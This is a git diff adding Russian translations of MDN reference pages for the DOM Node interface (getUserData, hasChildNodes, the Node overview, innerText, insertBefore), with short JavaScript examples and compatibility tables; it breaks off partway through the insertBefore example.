new file mode 100644
index 0000000000..869ef2618a
--- /dev/null
+++ b/files/ru/web/api/node/getuserdata/index.html
@@ -0,0 +1,113 @@
+---
+title: Node.getUserData()
+slug: Web/API/Node/getUserData
+translation_of: Web/API/Node/getUserData
+---
+<p>{{APIRef("DOM")}}{{ obsolete_header() }}</p>
+
+<p>Метод <code><strong>Node.getUserData()</strong></code> возвращает любого пользователя {{domxref("DOMUserData")}} установленного предварительно на данном узле через {{domxref("Node.setUserData()")}}.</p>
+
+<div class="note">
+<p>Методы <code>Node.setUserData</code> и {{domxref("Node.getUserData")}} больше не доступны для веб-контента. {{domxref("Element.dataset")}} или <a href="/en-US/docs/JavaScript/Reference/Global_Objects/WeakMap"><code>WeakMap</code></a> могут быть использованы вместо него.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>userData</em> = <em>someNode</em>.getUserData(<em>userKey</em>);</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<ul>
+ <li><code>userKey</code> это ключ для выбора определенных данных искомых для данного узла. Больше чем один ключ может быть назначен для данного узла, содержащий свое собственное значение.</li>
+</ul>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">var d = document.setUserData('key', 15, null);
+alert(document.getUserData('key')); // 15</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-node', 'Node')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Удалено из спецификации</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#Node3-getUserData', 'Node.getUserData()')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Изначальное описание</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>Поддерживается от {{CompatGeckoDesktop("1.0")}} до {{CompatGeckoDesktop("21.0")}}.<br>
+    Удалено в {{CompatGeckoDesktop("22.0")}} [1]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>Поддерживается от {{CompatGeckoMobile("1.0")}} до {{CompatGeckoMobile("21.0")}}.<br>
+    Удалено в {{CompatGeckoMobile("22.0")}} [1]</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Метод по-прежнему доступен для chrome скриптов.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("Node.setUserData()")}}</li>
+ <li>{{domxref("UserDataHandler")}}</li>
+ <li>{{domxref("DOMUserData")}}</li>
+</ul>
diff --git a/files/ru/web/api/node/haschildnodes/index.html b/files/ru/web/api/node/haschildnodes/index.html
new file mode 100644
index 0000000000..947072dfe6
--- /dev/null
+++ b/files/ru/web/api/node/haschildnodes/index.html
@@ -0,0 +1,37 @@
+---
+title: Node.hasChildNodes()
+slug: Web/API/Node/hasChildNodes
+translation_of: Web/API/Node/hasChildNodes
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+</div>
+
+<p>Метод <code><strong>Node.hasChildNodes()</strong></code> возвращает {{jsxref("Boolean")}} значение показывающее имеет ли текущий {{domxref("Node")}} <a href="/en-US/docs/Web/API/Node.childNodes" title="DOM/Node.childNodes">дочерние узлы </a>или нет.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>node.hasChildNodes()</code></pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<p>Следующий пример удаляет первый дочерний узел внутри элемента с id <code>"foo"</code>, если foo имеет дочерние узлы.</p>
+
+<pre class="brush:js;highlight:[3];">var foo = document.getElementById("foo");
+
+if ( foo.hasChildNodes() ) {
+  foo.removeChild( foo.childNodes[0] );
+}</pre>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-810594187">hasChildNodes</a></li>
+</ul>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("Node.childNodes")}}</li>
+ <li>{{domxref("Node.hasAttributes")}}</li>
+</ul>
diff --git a/files/ru/web/api/node/index.html b/files/ru/web/api/node/index.html
new file mode 100644
index 0000000000..5e314a339c
--- /dev/null
+++ b/files/ru/web/api/node/index.html
@@ -0,0 +1,367 @@
+---
+title: Node
+slug: Web/API/Node
+tags:
+  - API
+  - DOM
+translation_of: Web/API/Node
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><strong><code>Node</code></strong> это интерфейс, от которого наследуют несколько типов DOM, он так же позволяет различным типам быть обработанными(или протестированными).</p>
+
+<p>Следующие интерфейсы полностью наследуют от <code>Node</code> его методы и свойства: {{domxref("Document")}}, {{domxref("Element")}}, {{domxref("CharacterData")}} (which {{domxref("Text")}}, {{domxref("Comment")}}, и {{domxref("CDATASection")}} inherit), {{domxref("ProcessingInstruction")}}, {{domxref("DocumentFragment")}}, {{domxref("DocumentType")}}, {{domxref("Notation")}}, {{domxref("Entity")}}, {{domxref("EntityReference")}}</p>
+
+<p>Эти интерфейсы могут возвращать null в особых случаях, когда методы и свойства не уместны. Они могут сбросить исключение - например, когда добавляются дети к типу узла, у которого не может их существовать.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Наследует свойства от родителей {{domxref("EventTarget")}}</em>.<sup>[1]</sup></p>
+
+<dl>
+ <dt>{{domxref("Node.baseURI")}} {{readonlyInline}}</dt>
+ <dd>Возвращает {{domxref("DOMString")}} показывающие основной URL. Понятие основного URL изменяется из одного языка в другой; В HTML, это соответствует протоколу , доменному имени и структуре каталогов, все до последнего<code> '/'</code>.</dd>
+ <dt>{{domxref("Node.baseURIObject")}} {{Non-standard_inline()}} {{ Fx_minversion_inline("3") }}</dt>
+ <dd>(Не доступно для веб-контента.) Только для чтения. Объект {{ Interface("nsIURI") }}, представляющий базовый URI элемента.</dd>
+ <dt>{{domxref("Node.childNodes")}} {{readonlyInline}}</dt>
+ <dd>Возвращает живой {{domxref("NodeList")}}, содержащий всех потомков данного узла. Живой {{domxref("NodeList")}} означает то, что если потомки <code>узла</code> изменяются, объект {{domxref("NodeList")}} автоматически обновляется.</dd>
+ <dt>{{domxref("Node.firstChild")}} {{readonlyInline}}</dt>
+ <dd>Возвращает {{domxref("Node")}}, представляющий первый прямой узел потомок узла или<code> null,</code> если узел не имеет потомков.</dd>
+ <dt>{{domxref("Node.lastChild")}} {{readonlyInline}}</dt>
+ <dd>Возвращает {{domxref("Node")}}, представляющий последний прямой узел потомок узла или <code>null</code>, если узел не имеет потомков.</dd>
+ <dt>{{domxref("Node.localName")}} {{obsolete_inline}}{{readonlyInline}}</dt>
+ <dd>Возвращает {{domxref("DOMString")}} представляющий локальную часть условного имени элемента. В Firefox 3.5 и более ранних версиях, свойство локального имени в верхнем регистре для HTML элементов (но не XHTML элементов). В более поздних версиях, такого не произошло, и свойство находится в нижнем регистре для HTML и XHTML {{ gecko_minversion_inline("1.9.2") }}. Хотя недавние спецификации требуют от <code>localName</code> быть определенным как интерфейс {{domxref("Element")}}, но браузеры основанные на Gecko все еще реализуют его как интерфейс {{domxref("Node")}}.</dd>
+ <dt>{{domxref("Node.namespaceURI")}} {{obsolete_inline}}{{readonlyInline}}</dt>
+ <dd>Пространство имен URI данного узла или <code>null,</code> если нет пространства имен. В Firefox 3.5 и более ранних версиях, HTML элементы не имееют пространства имен. В более поздних версиях, HTML элементы находятся в пространстве имен <code><a class="linkification-ext external" href="http://www.w3.org/1999/xhtml" title="Linkification: http://www.w3.org/1999/xhtml">http://www.w3.org/1999/xhtml</a></code> для деревьев HTML и XML. {{ gecko_minversion_inline("1.9.2") }}<br>
+ Хотя недавние спецификации требуют <code>namespaceURI</code> быть определенным как интерфейс {{domxref("Element")}}, но браузеры основанные на Gecko все еще реализуют его как интерфейс {{domxref("Node")}}.</dd>
+ <dt>{{domxref("Node.nextSibling")}} {{readonlyInline}}</dt>
+ <dd>Возвращает {{domxref("Node")}} представляющий следующий узел в древе или <code>null,</code> если не такого узла.</dd>
+ <dt>{{domxref("Node.nodeName")}} {{readonlyInline}}</dt>
+ <dd>Возвращает {{domxref("DOMString")}} содержащий имя <code>узла</code>. Структура имени будет отличаться от типа имени. Например, {{domxref("HTMLElement")}} будет содержать имя соответствующего тега:<code> 'audio'</code> для {{domxref("HTMLAudioElement")}}, узел {{domxref("Text")}} будет строкой <code>'#text'</code> или узел {{domxref("Document")}} будет строкой<code> '#document'</code>.</dd>
+ <dt>{{domxref("Node.nodePrincipal")}} {{Non-standard_inline()}}{{ Fx_minversion_inline("3") }}</dt>
+ <dd>{{ Interface("nsIPrincipal") }} представляет основной узел.</dd>
+ <dt>{{domxref("Node.nodeType")}}{{readonlyInline}}</dt>
+ <dd>Возвращает беззнаковое короткое число <code>(unsigned short</code>) представляющее тип узла. Возможные значения:
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <th scope="col">Имя</th>
+    <th scope="col">Значение</th>
+   </tr>
+   <tr>
+    <td><code>ELEMENT_NODE</code></td>
+    <td><code>1</code></td>
+   </tr>
+   <tr>
+    <td><code>ATTRIBUTE_NODE</code> {{deprecated_inline()}}</td>
+    <td><code>2</code></td>
+   </tr>
+   <tr>
+    <td><code>TEXT_NODE</code></td>
+    <td><code>3</code></td>
+   </tr>
+   <tr>
+    <td><code>CDATA_SECTION_NODE</code> {{deprecated_inline()}}</td>
+    <td><code>4</code></td>
+   </tr>
+   <tr>
+    <td><code>ENTITY_REFERENCE_NODE</code> {{deprecated_inline()}}</td>
+    <td><code>5</code></td>
+   </tr>
+   <tr>
+    <td><code>ENTITY_NODE</code> {{deprecated_inline()}}</td>
+    <td><code>6</code></td>
+   </tr>
+   <tr>
+    <td><code>PROCESSING_INSTRUCTION_NODE</code></td>
+    <td><code>7</code></td>
+   </tr>
+   <tr>
+    <td><code>COMMENT_NODE</code></td>
+    <td><code>8</code></td>
+   </tr>
+   <tr>
+    <td><code>DOCUMENT_NODE</code></td>
+    <td><code>9</code></td>
+   </tr>
+   <tr>
+    <td><code>DOCUMENT_TYPE_NODE</code></td>
+    <td><code>10</code></td>
+   </tr>
+   <tr>
+    <td><code>DOCUMENT_FRAGMENT_NODE</code></td>
+    <td><code>11</code></td>
+   </tr>
+   <tr>
+    <td><code>NOTATION_NODE</code> {{deprecated_inline()}}</td>
+    <td><code>12</code></td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+ <dt>{{domxref("Node.nodeValue")}}</dt>
+ <dd>Это {{domxref("DOMString")}}, представляющее значение объектов. Для большинства типов <code>Node</code>, возвращает <code>null</code> и любой набор операция игнорируется. Для узлов типа <code>TEXT_NODE</code> ({{domxref("Text")}} objects), <code>COMMENT_NODE</code> ({{domxref("Comment")}} objects), и <code>PROCESSING_INSTRUCTION_NODE</code> ({{domxref("ProcessingInstruction")}} objects), значение соответствует текстовым данным, содержащихся в объекте.</dd>
+ <dt>{{domxref("Node.ownerDocument")}} {{readonlyInline}}</dt>
+ <dd>Возвращает {{domxref("Document")}} к которому принадлежит этот узел. Если нет связанного сним документа, возвращает <code>null</code>.</dd>
+ <dt>{{domxref("Node.parentNode")}} {{readonlyInline}}</dt>
+ <dd>Возвращает {{domxref("Node")}} который является родителем этого узла. Если нет такого узла, по причине того, что узел находится вверху древа или не относится к древу, данное свойство вернет<code> null</code>.</dd>
+ <dt>{{domxref("Node.parentElement")}} {{readonlyInline}}</dt>
+ <dd>Возвращает {{domxref("Element")}} который является родителем данного узла. Если узел не имеет родителя или если родитель не {{domxref("Element")}}, это свойство вернет <code>null</code>.</dd>
+ <dt>{{domxref("Node.prefix")}} {{obsolete_inline}}{{readonlyInline}}</dt>
+ <dd>{{domxref("DOMString")}} представляющий префикс пространства имен узла или <code>null</code> если нет префикса точно определенного.<br>
+ Хотя недавние спецификации требуют того, чтобы <code>префикс</code> был определен как интерфейс {{domxref("Element")}}, браузеры основанные на Gecko еще реализовывают его как интерфейс {{domxref("Node")}}.</dd>
+ <dt>{{domxref("Node.previousSibling")}} {{readonlyInline}}</dt>
+ <dd>Возвращают {{domxref("Node")}} представляющий предыдущий узел древа или <code>null</code>, если нет такого узла.</dd>
+ <dt>{{domxref("Node.textContent")}}</dt>
+ <dd>Это {{domxref("DOMString")}} представляющее текстовый контент элемента и всех его потомков.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Наследует методы от своих родителей {{domxref("EventTarget")}}</em>.<sup>[1]</sup></p>
+
+<dl>
+ <dt>{{domxref("Node.appendChild()")}}</dt>
+ <dd>Вставляет {{domxref("Node")}} как последний дочерний узел данного элемента.</dd>
+ <dt>{{domxref("Node.cloneNode()")}}</dt>
+ <dd>Клонирует {{domxref("Node")}}, и опционально, все его компоненты. По умолчанию, оно клонирует содержимое узла.</dd>
+ <dt>{{domxref("Node.compareDocumentPosition()")}}</dt>
+ <dd> </dd>
+ <dt>{{domxref("Node.contains()")}}</dt>
+ <dd> </dd>
+ <dt>{{domxref("Node.getFeature()")}} {{obsolete_inline}}</dt>
+ <dd>...</dd>
+ <dt>{{domxref("Node.getUserData()")}} {{obsolete_inline}}</dt>
+ <dd>Позволяет пользователю получить некоторый {{domxref("DOMUserData")}} от узла.</dd>
+ <dt>{{domxref("Node.hasAttributes()")}} {{obsolete_inline}}</dt>
+ <dd>Возвращает {{domxref("Boolean")}} показывающий, есть ли у элемента какие-либо атрибуты или нет.</dd>
+ <dt>{{domxref("Node.hasChildNodes()")}}</dt>
+ <dd>Возвращает {{domxref("Boolean")}} показывающий, есть ли у элемента дочерние узлы или нет.</dd>
+ <dt>{{domxref("Node.insertBefore()")}}</dt>
+ <dd>Вставляет первым {{domxref("Node")}} данный в качестве параметра, непосредственно перед вторым, потомком данного элемента {{domxref("Node")}}.</dd>
+ <dt>{{domxref("Node.isDefaultNamespace()")}}</dt>
+ <dd> </dd>
+ <dt>{{domxref("Node.isEqualNode()")}}</dt>
+ <dd> </dd>
+ <dt>{{domxref("Node.isSameNode()")}} {{obsolete_inline}}</dt>
+ <dd> </dd>
+ <dt>{{domxref("Node.isSupported()")}} {{obsolete_inline}}</dt>
+ <dd>Возвращает <a href="https://developer.mozilla.org/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a> флаг содержащий результаты теста, реализует ли реализация DOM конкретную особенность и поддерживается ли эта особенность конкретным узлом.</dd>
+ <dt>{{domxref("Node.lookupPrefix()")}}</dt>
+ <dd> </dd>
+ <dt>{{domxref("Node.lookupNamespaceURI()")}}</dt>
+ <dd> </dd>
+ <dt>{{domxref("Node.normalize()")}}</dt>
+ <dd>Очищает все текстовые узлы под этим элементом (поглотить смежный, удалить пустой).</dd>
+ <dt>{{domxref("Node.removeChild()")}}</dt>
+ <dd>Удаляет дочерний узел из текущего элемента, который должен быть потомком текущего узла.</dd>
+ <dt>{{domxref("Node.replaceChild()")}}</dt>
+ <dd>Заменяет одного потомка {{domxref("Node")}} из существующего на второй указанный в параметре.</dd>
+ <dt>{{domxref("Node.setUserData()")}} {{obsolete_inline}}</dt>
+ <dd>Позволяет пользователю присоединить или удалить {{domxref("DOMUserData")}} к узлу.</dd>
+ <dd> </dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Просмотреть_все_дочерние_узлы">Просмотреть все дочерние узлы</h3>
+
+<p>Следующая функция рекурсивный цикл всех дочерних узлов узла и она исполняет вызов функции относительно их (и себя относительно родительского узла).</p>
+
+<pre class="brush: js">function DOMComb (oParent, oCallback) {
+  if (oParent.hasChildNodes()) {
+    for (var oNode = oParent.firstChild; oNode; oNode = oNode.nextSibling) {
+      DOMComb(oNode, oCallback);
+    }
+  }
+  oCallback.call(oParent);
+}</pre>
+
+<h4 id="Синтаксис">Синтаксис</h4>
+
+<pre>DOMComb(parentNode, callbackFunction);</pre>
+
+<h4 id="Описание">Описание</h4>
+
+<p>Рекурсивный цикл всех дочерних узлов <code>parentNode</code> и<code> </code>самого <code>parentNode</code>, выполняет <code>callbackFunction</code> относительно их  как <a href="/en-US/docs/JavaScript/Reference/Operators/this" title="en-US/docs/JavaScript/Reference/Operators/this"><code>эти</code></a> объекты.</p>
+
+<h4 id="Параметры">Параметры</h4>
+
+<dl>
+ <dt><code>parentNode</code></dt>
+ <dd>Родительский узел (<code><strong>Node</strong> <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Object" title="en-US/docs/JavaScript/Reference/Global_Objects/Object">Object</a></code>).</dd>
+ <dt><code>callbackFunction</code></dt>
+ <dd>Обратный вызов функции (<a href="/en-US/docs/JavaScript/Reference/Global_Objects/Function" title="en-US/docs/JavaScript/Reference/Global_Objects/Function"><code>Function</code></a>).</dd>
+</dl>
+
+<h4 id="Пример_использования">Пример использования</h4>
+
+<p>Следующий пример отправляет в <code>console.log</code> текстовое содержимое body:</p>
+
+<pre class="brush: js">function printContent () {
+  if (this.nodeValue) { console.log(this.nodeValue); }
+}
+
+onload = function () {
+  DOMComb(document.body, printContent);
+};</pre>
+
+<h3 id="Удалить_все_потомки_вложенные_в_узел">Удалить все потомки, вложенные в узел</h3>
+
+<pre class="brush: js">Element.prototype.removeAll = function () {
+  while (this.firstChild) { this.removeChild(this.firstChild); }
+  return this;
+};</pre>
+
+<h4 id="Пример_использования_2">Пример использования</h4>
+
+<pre class="brush: js">/* ... как альтернатива document.body.innerHTML = "" ... */
+document.body.removeAll();</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Сецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-node', 'Node')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Удалены следующие свойства: <code>attributes</code>, <code>namespaceURI</code>, <code>prefix</code>, и <code>localName</code>.<br>
+    Удалены следующие методы: <code>isSupported()</code>, <code>hasAttributes()</code>, <code>isSameNode()</code>, <code>getFeature()</code>, <code>setUserData()</code>, и <code>getUserData()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-1950641247', 'Node')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Методы <code>insertBefore()</code>, <code>replaceChild()</code>, <code>removeChild()</code>, and <code>appendChild()</code> возвращают еще один вид ошибок (<code>NOT_SUPPORTED_ERR</code>) если вызваны из {{domxref("Document")}}.<br>
+    Метод <code>normalize()</code> был модифицирован таким образом, что узел {{domxref("Text")}} также может быть нормализован, если надлежащий флаг {{domxref("DOMConfiguration")}} установлен.<br>
+    Добавлены следующие методы: <code>compareDocumentPosition()</code>, <code>isSameNode()</code>, <code>lookupPrefix()</code>, <code>isDefaultNamespace()</code>, <code>lookupNamespaceURI()</code>, <code>isEqualNode()</code>, <code>getFeature()</code>, <code>setUserData()</code>, and <code>getUserData().</code><br>
+    Добавлены следующие свойства: <code>baseURI</code> and <code>textContent</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-1950641247', 'Node')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Свойство <code>ownerDocument</code> был слегка изменен, так что {{domxref("DocumentFragment")}} также возвращает <code>null</code>.<br>
+    Добавлены следующие свойства: <code>namespaceURI</code>, <code>prefix</code>, and <code>localName</code>.<br>
+    Добавлены следующие методы: <code>normalize()</code>, <code>isSupported()</code> and <code>hasAttributes()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-1950641247', 'Node')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Изначальное описание.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>getFeature()</code>{{obsolete_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>Поддерживаемые от {{CompatGeckoDesktop("1.0")}} до {{CompatGeckoDesktop("6.0")}}.<br>
+    Удалено в {{CompatGeckoDesktop("7.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>getUserData()</code>, <code>setUserData()</code> and <code>hasAttributes()</code> {{deprecated_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>Поддерживаемые от {{CompatGeckoDesktop("1.0")}} до {{CompatGeckoDesktop("21.0")}}.<br>
+    Удалено в {{CompatGeckoDesktop("22.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>isSameNode()</code> {{obsolete_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>Поддерживаемые от {{CompatGeckoDesktop("1.0")}} до {{CompatGeckoDesktop("9.0")}}.<br>
+    Удалено в {{CompatGeckoDesktop("10.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>isSupported()</code> {{obsolete_inline}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>Поддерживаемые от  {{CompatGeckoDesktop("1.0")}} до {{CompatGeckoDesktop("21.0")}}.<br>
+    Удалено в {{CompatGeckoDesktop("22.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>attributes</code></td>
+   <td>{{CompatNo}}</td>
+   <td>Поддерживаемые от {{CompatGeckoDesktop("1.0")}} до {{CompatGeckoDesktop("21.0")}}.<br>
+    Перемещено к  {{domxref("Element")}} в {{CompatGeckoDesktop("22.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>getFeature()</code>{{obsolete_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>Поддерживаемые от  {{CompatGeckoDesktop("1.0")}} до {{CompatGeckoDesktop("6.0")}}.<br>
+    Удалено в {{CompatGeckoDesktop("7.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Webkit и Blink неверно не делают <code>Node</code> наследуя от {{domxref("EventTarget")}}.</p>
diff --git a/files/ru/web/api/node/innertext/index.html b/files/ru/web/api/node/innertext/index.html
new file mode 100644
index 0000000000..ef23b48d59
--- /dev/null
+++ b/files/ru/web/api/node/innertext/index.html
@@ -0,0 +1,46 @@
+---
+title: Node.innerText
+slug: Web/API/Node/innerText
+translation_of: Web/API/HTMLElement/innerText
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><code><strong>Node.innerText</strong></code> - это свойство, позволяющее задавать или получать текстовое содержимое элемента и его потомков. В качестве геттера, свойство приближается к тексту, который пользователь получит, если он выделит содержимое элемента курсором, затем копирует его в буфер обмена.</p>
+
+<p>Изначально, данное поведение было представленно Internet Explorer, и было формально специализированно в стандарте HTML в 2016 после того, как было адаптированно всеми ведущими браузерами.</p>
+
+<p>{{domxref("Node.textContent")}} - это альтернативное свойство, которое имеет ряд отличий:</p>
+
+<ul>
+ <li><code>textContent</code> получает содержимое <em>всех</em> элементов, включая  <a class="new" href="https://developer.mozilla.org/ru/docs/Web/HTML/Element/script" title="This article hasn't been written yet. Please consider contributing!"><code>&lt;script&gt;</code></a> и <a href="https://developer.mozilla.org/ru/docs/Web/HTML/Element/style" title="HTML-элемент &lt;style> содержит стилевую информацию для документа или его части. По умолчанию стилевые инструкции внутри этого элемента считаются написанными на CSS."><code>&lt;style&gt;</code></a>, тогда как <code>innerText</code> этого не делает.</li>
+ <li><code>innerText</code> умеет считывать стили и не возвращает содержимое скрытых элементов, тогда как <code>textContent</code> этого не делает.</li>
+ <li>Метод <code>innerText</code> позволяет получить CSS, а <code>textContent</code> — нет.</li>
+</ul>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table>
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'dom.html#the-innertext-idl-attribute', 'innerText')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Представлено, основываясь на <a href="https://github.com/rocallahan/innerText-spec">черновике спецификации innerText</a>. См. <a href="https://github.com/whatwg/html/issues/465">whatwg/html#465</a> и <a href="https://github.com/whatwg/compat/issues/5">whatwg/compat#5</a>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{Compat("api.Node.innerText")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("HTMLElement.outerText")}}</li>
+ <li>{{domxref("Element.innerHTML")}}</li>
+</ul>
diff --git a/files/ru/web/api/node/insertbefore/index.html b/files/ru/web/api/node/insertbefore/index.html
new file mode 100644
index 0000000000..f28d388147
--- /dev/null
+++ b/files/ru/web/api/node/insertbefore/index.html
@@ -0,0 +1,132 @@
+---
+title: Node.insertBefore()
+slug: Web/API/Node/insertBefore
+tags:
+  - API
+  - DOM
+  - DOM Element Methods
+  - Method
+  - WebAPI
+translation_of: Web/API/Node/insertBefore
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+</div>
+
+<p>Метод <code><strong>Node.insertBefore()</strong></code> добавляет элемент в  список дочерних элементов родителя перед указанным элементом.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>insertedElement</em> = <em>parentElement</em>.insertBefore(<em>newElement</em>, <em>referenceElement</em>);
+</pre>
+
+<p>В Mozilla Firefox, если <span style="font-family: Consolas, Monaco, 'Andale Mono', monospace;">referenceElement</span> не задан или равен <span style="font-family: Consolas, Monaco, 'Andale Mono', monospace;">null</span>, <span style="font-family: Consolas, Monaco, 'Andale Mono', monospace;">newElement</span> вcтавляется в конец списка дочерних элеметнов. В IE, <span style="font-family: Consolas, Monaco, 'Andale Mono', monospace;">referenceElement</span> равный <span style="font-family: Consolas, Monaco, 'Andale Mono', monospace;">undefined</span>, сгенерируется исключение <span style="line-height: 1.5;">"</span>Invalid argument", в то время как Chrome сгенерирует исключение  "Uncaught TypeError", ожидая 2 аргумента.</p>
+
+<ul>
+ <li><code>insertedElement</code> Вставленный элемент.</li>
+ <li><code>parentElement</code> Родитель для нового элемента.</li>
+ <li><code>newElement</code> Элемент для вставки.</li>
+ <li><code>referenceElement</code> Элемент, перед которым будет вставлен <code>newElement</code>.</li>
+</ul>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:html">&lt;div id="parentElement"&gt;
+  &lt;span id="childElement"&gt;foo bar&lt;/span&gt;
+&lt;/div&gt;
+
+&lt;script&gt;
+// Создаем новый &lt;span&gt;
+var sp1 = document.createElement("span");
+
